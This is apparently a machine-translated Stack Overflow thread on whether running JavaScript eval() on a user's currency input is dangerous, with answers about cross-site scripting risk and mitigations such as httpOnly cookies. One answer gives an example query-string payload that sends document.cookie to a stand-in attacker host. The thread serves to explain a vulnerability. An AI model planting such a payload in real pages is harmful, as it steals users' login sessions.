Javascript eval()是否如此危险?
可能重复:Javascript eval()是否如此危险?,javascript,security,eval,Javascript,Security,Eval,可能重复: 我正在编写一个脚本,其中用户必须以货币金额书写,一些示例可能是(用户输入>>转换为),美元为默认货币: 50 >> 50.0 USD 50.5 >> 50.5 USD 50+1 USD >> 51.0 USD 50 GBP >> 50.0 GBP 我想让它尽可能平滑,因此我想使用JavaScript(它是一个基于PHP/MySql+JavaScript的web应用程序)。我想使用regex来过滤输入,通过ev
我正在编写一个脚本,其中用户必须以货币金额书写,一些示例可能是(用户输入>>转换为),美元为默认货币:
50 >> 50.0 USD
50.5 >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP >> 50.0 GBP
我想让它尽可能平滑,因此我想使用JavaScript(它是一个基于PHP/MySql+JavaScript的web应用程序)。我想使用regex来过滤输入,通过eval()运行它并返回它
这是个坏主意吗?我读过一些关于eval()
是安全问题的主题。我只是不知道怎么做。用户可以轻松地运行JavaScript吗
请记住,我将在稍后阶段使用PHP验证所有服务器端输入。如果需要,请使用它
这里有一个很好的链接,它讨论了安全性。。。以及对“eval()”的其他常见反对意见:
那么安全呢?如果是您的软件为eval提供
它的论点是,在这方面没有什么可担心的。当然可以
计算输入框的值是不明智的,但运行eval
在由您自己的服务器代码生成的响应上,不应显示
特别险。还要记住,攻击者不会造成任何伤害
可以做客户端评估,他们无法更容易地实现
带有现代化的浏览器控制台
没错,最终用户可以通过浏览器的开发人员控制台轻松地执行任意JavaScript(我一直都这样做)。您需要担心的是,攻击者会劫持您的功能,并将eval
用于自己的目的
eval
通常被认为是危险的,因为不受信任的代码很容易潜入。考虑一个允许通过查询字符串指定输入的页面,其中输入框中填充了查询字符串中的值。
攻击者可以传播包含窃取用户登录cookie代码的链接:
/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;
(显然需要正确的URL编码;这是为了说明。)
或者,当验证失败时,您的PHP脚本可能会将发布的数据回显到表单中。攻击者可以创建一个巧尽心思构建的表单,该表单使用相同的cookie窃取代码发布到您的表单
通过使用httpOnly
cookies(防止被盗的登录cookies)或确保对数据进行消毒,可以减轻这些攻击中的每一种——但问题是,这还不足以详尽列出可能出现的问题。例如,注入的脚本仍然可以在金额字段中插入1000,并尝试将该金额转移到攻击者的帐户(如果这是转账页面)
即使您使用正则表达式清理输入,也不一定能保护您:编写任意JavaScript是可能的强>
因此,底线是,如果您能够绝对确保输入进入文本字段的唯一方式是通过用户输入,那么您就没事了:用户没有通过控制台获得任何他们无法获得的东西。但是,如果攻击者能够以某种方式将自己的数据输入该字段,eval
ing它可能会使您面临漏洞
另见:
一些示例:您将以何种方式使用eval
执行任务?我不明白什么是eval
'd。最后一部分很重要:“……潜在攻击者不会对客户端eval造成任何现代浏览器控制台无法轻易实现的伤害。”“如果需要,就使用它。”你是指广义的句子吗?我不能完全同意。不,你真的不需要它来“运行由你自己的服务器生成的响应”。你可以通过使用函数来限制eval工作的环境,在Python&Ruby中,你可以给它一个环境哈希,并限制它只更改那些变量。